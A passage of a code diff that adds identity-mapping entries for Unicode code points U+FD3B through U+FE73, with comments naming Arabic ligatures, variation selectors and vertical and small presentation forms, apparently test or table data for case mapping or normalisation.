+ ["\uFD3B", "\uFD3B"], /* ARABIC LIGATURE ZAH WITH MEEM MEDIAL FORM */
+ ["\uFD3C", "\uFD3C"], /* ARABIC LIGATURE ALEF WITH FATHATAN FINAL FORM */
+ ["\uFD3D", "\uFD3D"], /* ARABIC LIGATURE ALEF WITH FATHATAN ISOLATED FORM */
+ ["\uFD3E", "\uFD3E"], /* ORNATE LEFT PARENTHESIS */
+ ["\uFD3F", "\uFD3F"], /* ORNATE RIGHT PARENTHESIS */
+ ["\uFD40", "\uFD40"],
+ ["\uFD41", "\uFD41"],
+ ["\uFD42", "\uFD42"],
+ ["\uFD43", "\uFD43"],
+ ["\uFD44", "\uFD44"],
+ ["\uFD45", "\uFD45"],
+ ["\uFD46", "\uFD46"],
+ ["\uFD47", "\uFD47"],
+ ["\uFD48", "\uFD48"],
+ ["\uFD49", "\uFD49"],
+ ["\uFD4A", "\uFD4A"],
+ ["\uFD4B", "\uFD4B"],
+ ["\uFD4C", "\uFD4C"],
+ ["\uFD4D", "\uFD4D"],
+ ["\uFD4E", "\uFD4E"],
+ ["\uFD4F", "\uFD4F"],
+ ["\uFD50", "\uFD50"], /* ARABIC LIGATURE TEH WITH JEEM WITH MEEM INITIAL FORM */
+ ["\uFD51", "\uFD51"], /* ARABIC LIGATURE TEH WITH HAH WITH JEEM FINAL FORM */
+ ["\uFD52", "\uFD52"], /* ARABIC LIGATURE TEH WITH HAH WITH JEEM INITIAL FORM */
+ ["\uFD53", "\uFD53"], /* ARABIC LIGATURE TEH WITH HAH WITH MEEM INITIAL FORM */
+ ["\uFD54", "\uFD54"], /* ARABIC LIGATURE TEH WITH KHAH WITH MEEM INITIAL FORM */
+ ["\uFD55", "\uFD55"], /* ARABIC LIGATURE TEH WITH MEEM WITH JEEM INITIAL FORM */
+ ["\uFD56", "\uFD56"], /* ARABIC LIGATURE TEH WITH MEEM WITH HAH INITIAL FORM */
+ ["\uFD57", "\uFD57"], /* ARABIC LIGATURE TEH WITH MEEM WITH KHAH INITIAL FORM */
+ ["\uFD58", "\uFD58"], /* ARABIC LIGATURE JEEM WITH MEEM WITH HAH FINAL FORM */
+ ["\uFD59", "\uFD59"], /* ARABIC LIGATURE JEEM WITH MEEM WITH HAH INITIAL FORM */
+ ["\uFD5A", "\uFD5A"], /* ARABIC LIGATURE HAH WITH MEEM WITH YEH FINAL FORM */
+ ["\uFD5B", "\uFD5B"], /* ARABIC LIGATURE HAH WITH MEEM WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD5C", "\uFD5C"], /* ARABIC LIGATURE SEEN WITH HAH WITH JEEM INITIAL FORM */
+ ["\uFD5D", "\uFD5D"], /* ARABIC LIGATURE SEEN WITH JEEM WITH HAH INITIAL FORM */
+ ["\uFD5E", "\uFD5E"], /* ARABIC LIGATURE SEEN WITH JEEM WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD5F", "\uFD5F"], /* ARABIC LIGATURE SEEN WITH MEEM WITH HAH FINAL FORM */
+ ["\uFD60", "\uFD60"], /* ARABIC LIGATURE SEEN WITH MEEM WITH HAH INITIAL FORM */
+ ["\uFD61", "\uFD61"], /* ARABIC LIGATURE SEEN WITH MEEM WITH JEEM INITIAL FORM */
+ ["\uFD62", "\uFD62"], /* ARABIC LIGATURE SEEN WITH MEEM WITH MEEM FINAL FORM */
+ ["\uFD63", "\uFD63"], /* ARABIC LIGATURE SEEN WITH MEEM WITH MEEM INITIAL FORM */
+ ["\uFD64", "\uFD64"], /* ARABIC LIGATURE SAD WITH HAH WITH HAH FINAL FORM */
+ ["\uFD65", "\uFD65"], /* ARABIC LIGATURE SAD WITH HAH WITH HAH INITIAL FORM */
+ ["\uFD66", "\uFD66"], /* ARABIC LIGATURE SAD WITH MEEM WITH MEEM FINAL FORM */
+ ["\uFD67", "\uFD67"], /* ARABIC LIGATURE SHEEN WITH HAH WITH MEEM FINAL FORM */
+ ["\uFD68", "\uFD68"], /* ARABIC LIGATURE SHEEN WITH HAH WITH MEEM INITIAL FORM */
+ ["\uFD69", "\uFD69"], /* ARABIC LIGATURE SHEEN WITH JEEM WITH YEH FINAL FORM */
+ ["\uFD6A", "\uFD6A"], /* ARABIC LIGATURE SHEEN WITH MEEM WITH KHAH FINAL FORM */
+ ["\uFD6B", "\uFD6B"], /* ARABIC LIGATURE SHEEN WITH MEEM WITH KHAH INITIAL FORM */
+ ["\uFD6C", "\uFD6C"], /* ARABIC LIGATURE SHEEN WITH MEEM WITH MEEM FINAL FORM */
+ ["\uFD6D", "\uFD6D"], /* ARABIC LIGATURE SHEEN WITH MEEM WITH MEEM INITIAL FORM */
+ ["\uFD6E", "\uFD6E"], /* ARABIC LIGATURE DAD WITH HAH WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD6F", "\uFD6F"], /* ARABIC LIGATURE DAD WITH KHAH WITH MEEM FINAL FORM */
+ ["\uFD70", "\uFD70"], /* ARABIC LIGATURE DAD WITH KHAH WITH MEEM INITIAL FORM */
+ ["\uFD71", "\uFD71"], /* ARABIC LIGATURE TAH WITH MEEM WITH HAH FINAL FORM */
+ ["\uFD72", "\uFD72"], /* ARABIC LIGATURE TAH WITH MEEM WITH HAH INITIAL FORM */
+ ["\uFD73", "\uFD73"], /* ARABIC LIGATURE TAH WITH MEEM WITH MEEM INITIAL FORM */
+ ["\uFD74", "\uFD74"], /* ARABIC LIGATURE TAH WITH MEEM WITH YEH FINAL FORM */
+ ["\uFD75", "\uFD75"], /* ARABIC LIGATURE AIN WITH JEEM WITH MEEM FINAL FORM */
+ ["\uFD76", "\uFD76"], /* ARABIC LIGATURE AIN WITH MEEM WITH MEEM FINAL FORM */
+ ["\uFD77", "\uFD77"], /* ARABIC LIGATURE AIN WITH MEEM WITH MEEM INITIAL FORM */
+ ["\uFD78", "\uFD78"], /* ARABIC LIGATURE AIN WITH MEEM WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD79", "\uFD79"], /* ARABIC LIGATURE GHAIN WITH MEEM WITH MEEM FINAL FORM */
+ ["\uFD7A", "\uFD7A"], /* ARABIC LIGATURE GHAIN WITH MEEM WITH YEH FINAL FORM */
+ ["\uFD7B", "\uFD7B"], /* ARABIC LIGATURE GHAIN WITH MEEM WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD7C", "\uFD7C"], /* ARABIC LIGATURE FEH WITH KHAH WITH MEEM FINAL FORM */
+ ["\uFD7D", "\uFD7D"], /* ARABIC LIGATURE FEH WITH KHAH WITH MEEM INITIAL FORM */
+ ["\uFD7E", "\uFD7E"], /* ARABIC LIGATURE QAF WITH MEEM WITH HAH FINAL FORM */
+ ["\uFD7F", "\uFD7F"], /* ARABIC LIGATURE QAF WITH MEEM WITH MEEM FINAL FORM */
+ ["\uFD80", "\uFD80"], /* ARABIC LIGATURE LAM WITH HAH WITH MEEM FINAL FORM */
+ ["\uFD81", "\uFD81"], /* ARABIC LIGATURE LAM WITH HAH WITH YEH FINAL FORM */
+ ["\uFD82", "\uFD82"], /* ARABIC LIGATURE LAM WITH HAH WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD83", "\uFD83"], /* ARABIC LIGATURE LAM WITH JEEM WITH JEEM INITIAL FORM */
+ ["\uFD84", "\uFD84"], /* ARABIC LIGATURE LAM WITH JEEM WITH JEEM FINAL FORM */
+ ["\uFD85", "\uFD85"], /* ARABIC LIGATURE LAM WITH KHAH WITH MEEM FINAL FORM */
+ ["\uFD86", "\uFD86"], /* ARABIC LIGATURE LAM WITH KHAH WITH MEEM INITIAL FORM */
+ ["\uFD87", "\uFD87"], /* ARABIC LIGATURE LAM WITH MEEM WITH HAH FINAL FORM */
+ ["\uFD88", "\uFD88"], /* ARABIC LIGATURE LAM WITH MEEM WITH HAH INITIAL FORM */
+ ["\uFD89", "\uFD89"], /* ARABIC LIGATURE MEEM WITH HAH WITH JEEM INITIAL FORM */
+ ["\uFD8A", "\uFD8A"], /* ARABIC LIGATURE MEEM WITH HAH WITH MEEM INITIAL FORM */
+ ["\uFD8B", "\uFD8B"], /* ARABIC LIGATURE MEEM WITH HAH WITH YEH FINAL FORM */
+ ["\uFD8C", "\uFD8C"], /* ARABIC LIGATURE MEEM WITH JEEM WITH HAH INITIAL FORM */
+ ["\uFD8D", "\uFD8D"], /* ARABIC LIGATURE MEEM WITH JEEM WITH MEEM INITIAL FORM */
+ ["\uFD8E", "\uFD8E"], /* ARABIC LIGATURE MEEM WITH KHAH WITH JEEM INITIAL FORM */
+ ["\uFD8F", "\uFD8F"], /* ARABIC LIGATURE MEEM WITH KHAH WITH MEEM INITIAL FORM */
+ ["\uFD90", "\uFD90"],
+ ["\uFD91", "\uFD91"],
+ ["\uFD92", "\uFD92"], /* ARABIC LIGATURE MEEM WITH JEEM WITH KHAH INITIAL FORM */
+ ["\uFD93", "\uFD93"], /* ARABIC LIGATURE HEH WITH MEEM WITH JEEM INITIAL FORM */
+ ["\uFD94", "\uFD94"], /* ARABIC LIGATURE HEH WITH MEEM WITH MEEM INITIAL FORM */
+ ["\uFD95", "\uFD95"], /* ARABIC LIGATURE NOON WITH HAH WITH MEEM INITIAL FORM */
+ ["\uFD96", "\uFD96"], /* ARABIC LIGATURE NOON WITH HAH WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD97", "\uFD97"], /* ARABIC LIGATURE NOON WITH JEEM WITH MEEM FINAL FORM */
+ ["\uFD98", "\uFD98"], /* ARABIC LIGATURE NOON WITH JEEM WITH MEEM INITIAL FORM */
+ ["\uFD99", "\uFD99"], /* ARABIC LIGATURE NOON WITH JEEM WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD9A", "\uFD9A"], /* ARABIC LIGATURE NOON WITH MEEM WITH YEH FINAL FORM */
+ ["\uFD9B", "\uFD9B"], /* ARABIC LIGATURE NOON WITH MEEM WITH ALEF MAKSURA FINAL FORM */
+ ["\uFD9C", "\uFD9C"], /* ARABIC LIGATURE YEH WITH MEEM WITH MEEM FINAL FORM */
+ ["\uFD9D", "\uFD9D"], /* ARABIC LIGATURE YEH WITH MEEM WITH MEEM INITIAL FORM */
+ ["\uFD9E", "\uFD9E"], /* ARABIC LIGATURE BEH WITH KHAH WITH YEH FINAL FORM */
+ ["\uFD9F", "\uFD9F"], /* ARABIC LIGATURE TEH WITH JEEM WITH YEH FINAL FORM */
+ ["\uFDA0", "\uFDA0"], /* ARABIC LIGATURE TEH WITH JEEM WITH ALEF MAKSURA FINAL FORM */
+ ["\uFDA1", "\uFDA1"], /* ARABIC LIGATURE TEH WITH KHAH WITH YEH FINAL FORM */
+ ["\uFDA2", "\uFDA2"], /* ARABIC LIGATURE TEH WITH KHAH WITH ALEF MAKSURA FINAL FORM */
+ ["\uFDA3", "\uFDA3"], /* ARABIC LIGATURE TEH WITH MEEM WITH YEH FINAL FORM */
+ ["\uFDA4", "\uFDA4"], /* ARABIC LIGATURE TEH WITH MEEM WITH ALEF MAKSURA FINAL FORM */
+ ["\uFDA5", "\uFDA5"], /* ARABIC LIGATURE JEEM WITH MEEM WITH YEH FINAL FORM */
+ ["\uFDA6", "\uFDA6"], /* ARABIC LIGATURE JEEM WITH HAH WITH ALEF MAKSURA FINAL FORM */
+ ["\uFDA7", "\uFDA7"], /* ARABIC LIGATURE JEEM WITH MEEM WITH ALEF MAKSURA FINAL FORM */
+ ["\uFDA8", "\uFDA8"], /* ARABIC LIGATURE SEEN WITH KHAH WITH ALEF MAKSURA FINAL FORM */
+ ["\uFDA9", "\uFDA9"], /* ARABIC LIGATURE SAD WITH HAH WITH YEH FINAL FORM */
+ ["\uFDAA", "\uFDAA"], /* ARABIC LIGATURE SHEEN WITH HAH WITH YEH FINAL FORM */
+ ["\uFDAB", "\uFDAB"], /* ARABIC LIGATURE DAD WITH HAH WITH YEH FINAL FORM */
+ ["\uFDAC", "\uFDAC"], /* ARABIC LIGATURE LAM WITH JEEM WITH YEH FINAL FORM */
+ ["\uFDAD", "\uFDAD"], /* ARABIC LIGATURE LAM WITH MEEM WITH YEH FINAL FORM */
+ ["\uFDAE", "\uFDAE"], /* ARABIC LIGATURE YEH WITH HAH WITH YEH FINAL FORM */
+ ["\uFDAF", "\uFDAF"], /* ARABIC LIGATURE YEH WITH JEEM WITH YEH FINAL FORM */
+ ["\uFDB0", "\uFDB0"], /* ARABIC LIGATURE YEH WITH MEEM WITH YEH FINAL FORM */
+ ["\uFDB1", "\uFDB1"], /* ARABIC LIGATURE MEEM WITH MEEM WITH YEH FINAL FORM */
+ ["\uFDB2", "\uFDB2"], /* ARABIC LIGATURE QAF WITH MEEM WITH YEH FINAL FORM */
+ ["\uFDB3", "\uFDB3"], /* ARABIC LIGATURE NOON WITH HAH WITH YEH FINAL FORM */
+ ["\uFDB4", "\uFDB4"], /* ARABIC LIGATURE QAF WITH MEEM WITH HAH INITIAL FORM */
+ ["\uFDB5", "\uFDB5"], /* ARABIC LIGATURE LAM WITH HAH WITH MEEM INITIAL FORM */
+ ["\uFDB6", "\uFDB6"], /* ARABIC LIGATURE AIN WITH MEEM WITH YEH FINAL FORM */
+ ["\uFDB7", "\uFDB7"], /* ARABIC LIGATURE KAF WITH MEEM WITH YEH FINAL FORM */
+ ["\uFDB8", "\uFDB8"], /* ARABIC LIGATURE NOON WITH JEEM WITH HAH INITIAL FORM */
+ ["\uFDB9", "\uFDB9"], /* ARABIC LIGATURE MEEM WITH KHAH WITH YEH FINAL FORM */
+ ["\uFDBA", "\uFDBA"], /* ARABIC LIGATURE LAM WITH JEEM WITH MEEM INITIAL FORM */
+ ["\uFDBB", "\uFDBB"], /* ARABIC LIGATURE KAF WITH MEEM WITH MEEM FINAL FORM */
+ ["\uFDBC", "\uFDBC"], /* ARABIC LIGATURE LAM WITH JEEM WITH MEEM FINAL FORM */
+ ["\uFDBD", "\uFDBD"], /* ARABIC LIGATURE NOON WITH JEEM WITH HAH FINAL FORM */
+ ["\uFDBE", "\uFDBE"], /* ARABIC LIGATURE JEEM WITH HAH WITH YEH FINAL FORM */
+ ["\uFDBF", "\uFDBF"], /* ARABIC LIGATURE HAH WITH JEEM WITH YEH FINAL FORM */
+ ["\uFDC0", "\uFDC0"], /* ARABIC LIGATURE MEEM WITH JEEM WITH YEH FINAL FORM */
+ ["\uFDC1", "\uFDC1"], /* ARABIC LIGATURE FEH WITH MEEM WITH YEH FINAL FORM */
+ ["\uFDC2", "\uFDC2"], /* ARABIC LIGATURE BEH WITH HAH WITH YEH FINAL FORM */
+ ["\uFDC3", "\uFDC3"], /* ARABIC LIGATURE KAF WITH MEEM WITH MEEM INITIAL FORM */
+ ["\uFDC4", "\uFDC4"], /* ARABIC LIGATURE AIN WITH JEEM WITH MEEM INITIAL FORM */
+ ["\uFDC5", "\uFDC5"], /* ARABIC LIGATURE SAD WITH MEEM WITH MEEM INITIAL FORM */
+ ["\uFDC6", "\uFDC6"], /* ARABIC LIGATURE SEEN WITH KHAH WITH YEH FINAL FORM */
+ ["\uFDC7", "\uFDC7"], /* ARABIC LIGATURE NOON WITH JEEM WITH YEH FINAL FORM */
+ ["\uFDC8", "\uFDC8"],
+ ["\uFDC9", "\uFDC9"],
+ ["\uFDCA", "\uFDCA"],
+ ["\uFDCB", "\uFDCB"],
+ ["\uFDCC", "\uFDCC"],
+ ["\uFDCD", "\uFDCD"],
+ ["\uFDCE", "\uFDCE"],
+ ["\uFDCF", "\uFDCF"],
+ ["\uFDD0", "\uFDD0"],
+ ["\uFDD1", "\uFDD1"],
+ ["\uFDD2", "\uFDD2"],
+ ["\uFDD3", "\uFDD3"],
+ ["\uFDD4", "\uFDD4"],
+ ["\uFDD5", "\uFDD5"],
+ ["\uFDD6", "\uFDD6"],
+ ["\uFDD7", "\uFDD7"],
+ ["\uFDD8", "\uFDD8"],
+ ["\uFDD9", "\uFDD9"],
+ ["\uFDDA", "\uFDDA"],
+ ["\uFDDB", "\uFDDB"],
+ ["\uFDDC", "\uFDDC"],
+ ["\uFDDD", "\uFDDD"],
+ ["\uFDDE", "\uFDDE"],
+ ["\uFDDF", "\uFDDF"],
+ ["\uFDE0", "\uFDE0"],
+ ["\uFDE1", "\uFDE1"],
+ ["\uFDE2", "\uFDE2"],
+ ["\uFDE3", "\uFDE3"],
+ ["\uFDE4", "\uFDE4"],
+ ["\uFDE5", "\uFDE5"],
+ ["\uFDE6", "\uFDE6"],
+ ["\uFDE7", "\uFDE7"],
+ ["\uFDE8", "\uFDE8"],
+ ["\uFDE9", "\uFDE9"],
+ ["\uFDEA", "\uFDEA"],
+ ["\uFDEB", "\uFDEB"],
+ ["\uFDEC", "\uFDEC"],
+ ["\uFDED", "\uFDED"],
+ ["\uFDEE", "\uFDEE"],
+ ["\uFDEF", "\uFDEF"],
+ ["\uFDF0", "\uFDF0"], /* ARABIC LIGATURE SALLA USED AS KORANIC STOP SIGN ISOLATED FORM */
+ ["\uFDF1", "\uFDF1"], /* ARABIC LIGATURE QALA USED AS KORANIC STOP SIGN ISOLATED FORM */
+ ["\uFDF2", "\uFDF2"], /* ARABIC LIGATURE ALLAH ISOLATED FORM */
+ ["\uFDF3", "\uFDF3"], /* ARABIC LIGATURE AKBAR ISOLATED FORM */
+ ["\uFDF4", "\uFDF4"], /* ARABIC LIGATURE MOHAMMAD ISOLATED FORM */
+ ["\uFDF5", "\uFDF5"], /* ARABIC LIGATURE SALAM ISOLATED FORM */
+ ["\uFDF6", "\uFDF6"], /* ARABIC LIGATURE RASOUL ISOLATED FORM */
+ ["\uFDF7", "\uFDF7"], /* ARABIC LIGATURE ALAYHE ISOLATED FORM */
+ ["\uFDF8", "\uFDF8"], /* ARABIC LIGATURE WASALLAM ISOLATED FORM */
+ ["\uFDF9", "\uFDF9"], /* ARABIC LIGATURE SALLA ISOLATED FORM */
+ ["\uFDFA", "\uFDFA"], /* ARABIC LIGATURE SALLALLAHOU ALAYHE WASALLAM (ARABIC LETTER SALLALLAHOU ALAYHE WASALLAM) */
+ ["\uFDFB", "\uFDFB"], /* ARABIC LIGATURE JALLAJALALOUHOU (ARABIC LETTER JALLAJALALOUHOU) */
+ ["\uFDFC", "\uFDFC"], /* RIAL SIGN */
+ ["\uFDFD", "\uFDFD"], /* ARABIC LIGATURE BISMILLAH AR-RAHMAN AR-RAHEEM */
+ ["\uFDFE", "\uFDFE"],
+ ["\uFDFF", "\uFDFF"],
+ ["\uFE00", "\uFE00"], /* VARIATION SELECTOR-1 */
+ ["\uFE01", "\uFE01"], /* VARIATION SELECTOR-2 */
+ ["\uFE02", "\uFE02"], /* VARIATION SELECTOR-3 */
+ ["\uFE03", "\uFE03"], /* VARIATION SELECTOR-4 */
+ ["\uFE04", "\uFE04"], /* VARIATION SELECTOR-5 */
+ ["\uFE05", "\uFE05"], /* VARIATION SELECTOR-6 */
+ ["\uFE06", "\uFE06"], /* VARIATION SELECTOR-7 */
+ ["\uFE07", "\uFE07"], /* VARIATION SELECTOR-8 */
+ ["\uFE08", "\uFE08"], /* VARIATION SELECTOR-9 */
+ ["\uFE09", "\uFE09"], /* VARIATION SELECTOR-10 */
+ ["\uFE0A", "\uFE0A"], /* VARIATION SELECTOR-11 */
+ ["\uFE0B", "\uFE0B"], /* VARIATION SELECTOR-12 */
+ ["\uFE0C", "\uFE0C"], /* VARIATION SELECTOR-13 */
+ ["\uFE0D", "\uFE0D"], /* VARIATION SELECTOR-14 */
+ ["\uFE0E", "\uFE0E"], /* VARIATION SELECTOR-15 */
+ ["\uFE0F", "\uFE0F"], /* VARIATION SELECTOR-16 */
+ ["\uFE10", "\uFE10"], /* PRESENTATION FORM FOR VERTICAL COMMA */
+ ["\uFE11", "\uFE11"], /* PRESENTATION FORM FOR VERTICAL IDEOGRAPHIC COMMA */
+ ["\uFE12", "\uFE12"], /* PRESENTATION FORM FOR VERTICAL IDEOGRAPHIC FULL STOP */
+ ["\uFE13", "\uFE13"], /* PRESENTATION FORM FOR VERTICAL COLON */
+ ["\uFE14", "\uFE14"], /* PRESENTATION FORM FOR VERTICAL SEMICOLON */
+ ["\uFE15", "\uFE15"], /* PRESENTATION FORM FOR VERTICAL EXCLAMATION MARK */
+ ["\uFE16", "\uFE16"], /* PRESENTATION FORM FOR VERTICAL QUESTION MARK */
+ ["\uFE17", "\uFE17"], /* PRESENTATION FORM FOR VERTICAL LEFT WHITE LENTICULAR BRACKET */
+ ["\uFE18", "\uFE18"], /* PRESENTATION FORM FOR VERTICAL RIGHT WHITE LENTICULAR BRAKCET */
+ ["\uFE19", "\uFE19"], /* PRESENTATION FORM FOR VERTICAL HORIZONTAL ELLIPSIS */
+ ["\uFE1A", "\uFE1A"],
+ ["\uFE1B", "\uFE1B"],
+ ["\uFE1C", "\uFE1C"],
+ ["\uFE1D", "\uFE1D"],
+ ["\uFE1E", "\uFE1E"],
+ ["\uFE1F", "\uFE1F"],
+ ["\uFE20", "\uFE20"], /* COMBINING LIGATURE LEFT HALF */
+ ["\uFE21", "\uFE21"], /* COMBINING LIGATURE RIGHT HALF */
+ ["\uFE22", "\uFE22"], /* COMBINING DOUBLE TILDE LEFT HALF */
+ ["\uFE23", "\uFE23"], /* COMBINING DOUBLE TILDE RIGHT HALF */
+ ["\uFE24", "\uFE24"], /* COMBINING MACRON LEFT HALF */
+ ["\uFE25", "\uFE25"], /* COMBINING MACRON RIGHT HALF */
+ ["\uFE26", "\uFE26"], /* COMBINING CONJOINING MACRON */
+ ["\uFE27", "\uFE27"], /* COMBINING LIGATURE LEFT HALF BELOW */
+ ["\uFE28", "\uFE28"], /* COMBINING LIGATURE RIGHT HALF BELOW */
+ ["\uFE29", "\uFE29"], /* COMBINING TILDE LEFT HALF BELOW */
+ ["\uFE2A", "\uFE2A"], /* COMBINING TILDE RIGHT HALF BELOW */
+ ["\uFE2B", "\uFE2B"], /* COMBINING MACRON LEFT HALF BELOW */
+ ["\uFE2C", "\uFE2C"], /* COMBINING MACRON RIGHT HALF BELOW */
+ ["\uFE2D", "\uFE2D"], /* COMBINING CONJOINING MACRON BELOW */
+ ["\uFE2E", "\uFE2E"], /* COMBINING CYRILLIC TITLO LEFT HALF */
+ ["\uFE2F", "\uFE2F"], /* COMBINING CYRILLIC TITLO RIGHT HALF */
+ ["\uFE30", "\uFE30"], /* PRESENTATION FORM FOR VERTICAL TWO DOT LEADER (GLYPH FOR VERTICAL TWO DOT LEADER) */
+ ["\uFE31", "\uFE31"], /* PRESENTATION FORM FOR VERTICAL EM DASH (GLYPH FOR VERTICAL EM DASH) */
+ ["\uFE32", "\uFE32"], /* PRESENTATION FORM FOR VERTICAL EN DASH (GLYPH FOR VERTICAL EN DASH) */
+ ["\uFE33", "\uFE33"], /* PRESENTATION FORM FOR VERTICAL LOW LINE (GLYPH FOR VERTICAL SPACING UNDERSCORE) */
+ ["\uFE34", "\uFE34"], /* PRESENTATION FORM FOR VERTICAL WAVY LOW LINE (GLYPH FOR VERTICAL SPACING WAVY UNDERSCORE) */
+ ["\uFE35", "\uFE35"], /* PRESENTATION FORM FOR VERTICAL LEFT PARENTHESIS (GLYPH FOR VERTICAL OPENING PARENTHESIS) */
+ ["\uFE36", "\uFE36"], /* PRESENTATION FORM FOR VERTICAL RIGHT PARENTHESIS (GLYPH FOR VERTICAL CLOSING PARENTHESIS) */
+ ["\uFE37", "\uFE37"], /* PRESENTATION FORM FOR VERTICAL LEFT CURLY BRACKET (GLYPH FOR VERTICAL OPENING CURLY BRACKET) */
+ ["\uFE38", "\uFE38"], /* PRESENTATION FORM FOR VERTICAL RIGHT CURLY BRACKET (GLYPH FOR VERTICAL CLOSING CURLY BRACKET) */
+ ["\uFE39", "\uFE39"], /* PRESENTATION FORM FOR VERTICAL LEFT TORTOISE SHELL BRACKET (GLYPH FOR VERTICAL OPENING TORTOISE SHELL BRACKET) */
+ ["\uFE3A", "\uFE3A"], /* PRESENTATION FORM FOR VERTICAL RIGHT TORTOISE SHELL BRACKET (GLYPH FOR VERTICAL CLOSING TORTOISE SHELL BRACKET) */
+ ["\uFE3B", "\uFE3B"], /* PRESENTATION FORM FOR VERTICAL LEFT BLACK LENTICULAR BRACKET (GLYPH FOR VERTICAL OPENING BLACK LENTICULAR BRACKET) */
+ ["\uFE3C", "\uFE3C"], /* PRESENTATION FORM FOR VERTICAL RIGHT BLACK LENTICULAR BRACKET (GLYPH FOR VERTICAL CLOSING BLACK LENTICULAR BRACKET) */
+ ["\uFE3D", "\uFE3D"], /* PRESENTATION FORM FOR VERTICAL LEFT DOUBLE ANGLE BRACKET (GLYPH FOR VERTICAL OPENING DOUBLE ANGLE BRACKET) */
+ ["\uFE3E", "\uFE3E"], /* PRESENTATION FORM FOR VERTICAL RIGHT DOUBLE ANGLE BRACKET (GLYPH FOR VERTICAL CLOSING DOUBLE ANGLE BRACKET) */
+ ["\uFE3F", "\uFE3F"], /* PRESENTATION FORM FOR VERTICAL LEFT ANGLE BRACKET (GLYPH FOR VERTICAL OPENING ANGLE BRACKET) */
+ ["\uFE40", "\uFE40"], /* PRESENTATION FORM FOR VERTICAL RIGHT ANGLE BRACKET (GLYPH FOR VERTICAL CLOSING ANGLE BRACKET) */
+ ["\uFE41", "\uFE41"], /* PRESENTATION FORM FOR VERTICAL LEFT CORNER BRACKET (GLYPH FOR VERTICAL OPENING CORNER BRACKET) */
+ ["\uFE42", "\uFE42"], /* PRESENTATION FORM FOR VERTICAL RIGHT CORNER BRACKET (GLYPH FOR VERTICAL CLOSING CORNER BRACKET) */
+ ["\uFE43", "\uFE43"], /* PRESENTATION FORM FOR VERTICAL LEFT WHITE CORNER BRACKET (GLYPH FOR VERTICAL OPENING WHITE CORNER BRACKET) */
+ ["\uFE44", "\uFE44"], /* PRESENTATION FORM FOR VERTICAL RIGHT WHITE CORNER BRACKET (GLYPH FOR VERTICAL CLOSING WHITE CORNER BRACKET) */
+ ["\uFE45", "\uFE45"], /* SESAME DOT */
+ ["\uFE46", "\uFE46"], /* WHITE SESAME DOT */
+ ["\uFE47", "\uFE47"], /* PRESENTATION FORM FOR VERTICAL LEFT SQUARE BRACKET */
+ ["\uFE48", "\uFE48"], /* PRESENTATION FORM FOR VERTICAL RIGHT SQUARE BRACKET */
+ ["\uFE49", "\uFE49"], /* DASHED OVERLINE (SPACING DASHED OVERSCORE) */
+ ["\uFE4A", "\uFE4A"], /* CENTRELINE OVERLINE (SPACING CENTERLINE OVERSCORE) */
+ ["\uFE4B", "\uFE4B"], /* WAVY OVERLINE (SPACING WAVY OVERSCORE) */
+ ["\uFE4C", "\uFE4C"], /* DOUBLE WAVY OVERLINE (SPACING DOUBLE WAVY OVERSCORE) */
+ ["\uFE4D", "\uFE4D"], /* DASHED LOW LINE (SPACING DASHED UNDERSCORE) */
+ ["\uFE4E", "\uFE4E"], /* CENTRELINE LOW LINE (SPACING CENTERLINE UNDERSCORE) */
+ ["\uFE4F", "\uFE4F"], /* WAVY LOW LINE (SPACING WAVY UNDERSCORE) */
+ ["\uFE50", "\uFE50"], /* SMALL COMMA */
+ ["\uFE51", "\uFE51"], /* SMALL IDEOGRAPHIC COMMA */
+ ["\uFE52", "\uFE52"], /* SMALL FULL STOP (SMALL PERIOD) */
+ ["\uFE53", "\uFE53"],
+ ["\uFE54", "\uFE54"], /* SMALL SEMICOLON */
+ ["\uFE55", "\uFE55"], /* SMALL COLON */
+ ["\uFE56", "\uFE56"], /* SMALL QUESTION MARK */
+ ["\uFE57", "\uFE57"], /* SMALL EXCLAMATION MARK */
+ ["\uFE58", "\uFE58"], /* SMALL EM DASH */
+ ["\uFE59", "\uFE59"], /* SMALL LEFT PARENTHESIS (SMALL OPENING PARENTHESIS) */
+ ["\uFE5A", "\uFE5A"], /* SMALL RIGHT PARENTHESIS (SMALL CLOSING PARENTHESIS) */
+ ["\uFE5B", "\uFE5B"], /* SMALL LEFT CURLY BRACKET (SMALL OPENING CURLY BRACKET) */
+ ["\uFE5C", "\uFE5C"], /* SMALL RIGHT CURLY BRACKET (SMALL CLOSING CURLY BRACKET) */
+ ["\uFE5D", "\uFE5D"], /* SMALL LEFT TORTOISE SHELL BRACKET (SMALL OPENING TORTOISE SHELL BRACKET) */
+ ["\uFE5E", "\uFE5E"], /* SMALL RIGHT TORTOISE SHELL BRACKET (SMALL CLOSING TORTOISE SHELL BRACKET) */
+ ["\uFE5F", "\uFE5F"], /* SMALL NUMBER SIGN */
+ ["\uFE60", "\uFE60"], /* SMALL AMPERSAND */
+ ["\uFE61", "\uFE61"], /* SMALL ASTERISK */
+ ["\uFE62", "\uFE62"], /* SMALL PLUS SIGN */
+ ["\uFE63", "\uFE63"], /* SMALL HYPHEN-MINUS */
+ ["\uFE64", "\uFE64"], /* SMALL LESS-THAN SIGN */
+ ["\uFE65", "\uFE65"], /* SMALL GREATER-THAN SIGN */
+ ["\uFE66", "\uFE66"], /* SMALL EQUALS SIGN */
+ ["\uFE67", "\uFE67"],
+ ["\uFE68", "\uFE68"], /* SMALL REVERSE SOLIDUS (SMALL BACKSLASH) */
+ ["\uFE69", "\uFE69"], /* SMALL DOLLAR SIGN */
+ ["\uFE6A", "\uFE6A"], /* SMALL PERCENT SIGN */
+ ["\uFE6B", "\uFE6B"], /* SMALL COMMERCIAL AT */
+ ["\uFE6C", "\uFE6C"],
+ ["\uFE6D", "\uFE6D"],
+ ["\uFE6E", "\uFE6E"],
+ ["\uFE6F", "\uFE6F"],
+ ["\uFE70", "\uFE70"], /* ARABIC FATHATAN ISOLATED FORM (ARABIC SPACING FATHATAN) */
+ ["\uFE71", "\uFE71"], /* ARABIC TATWEEL WITH FATHATAN ABOVE (ARABIC FATHATAN ON TATWEEL) */
+ ["\uFE72", "\uFE72"], /* ARABIC DAMMATAN ISOLATED FORM (ARABIC SPACING DAMMATAN) */
+ ["\uFE73", "\uFE73"], /* ARABIC TAIL FRAGMENT */
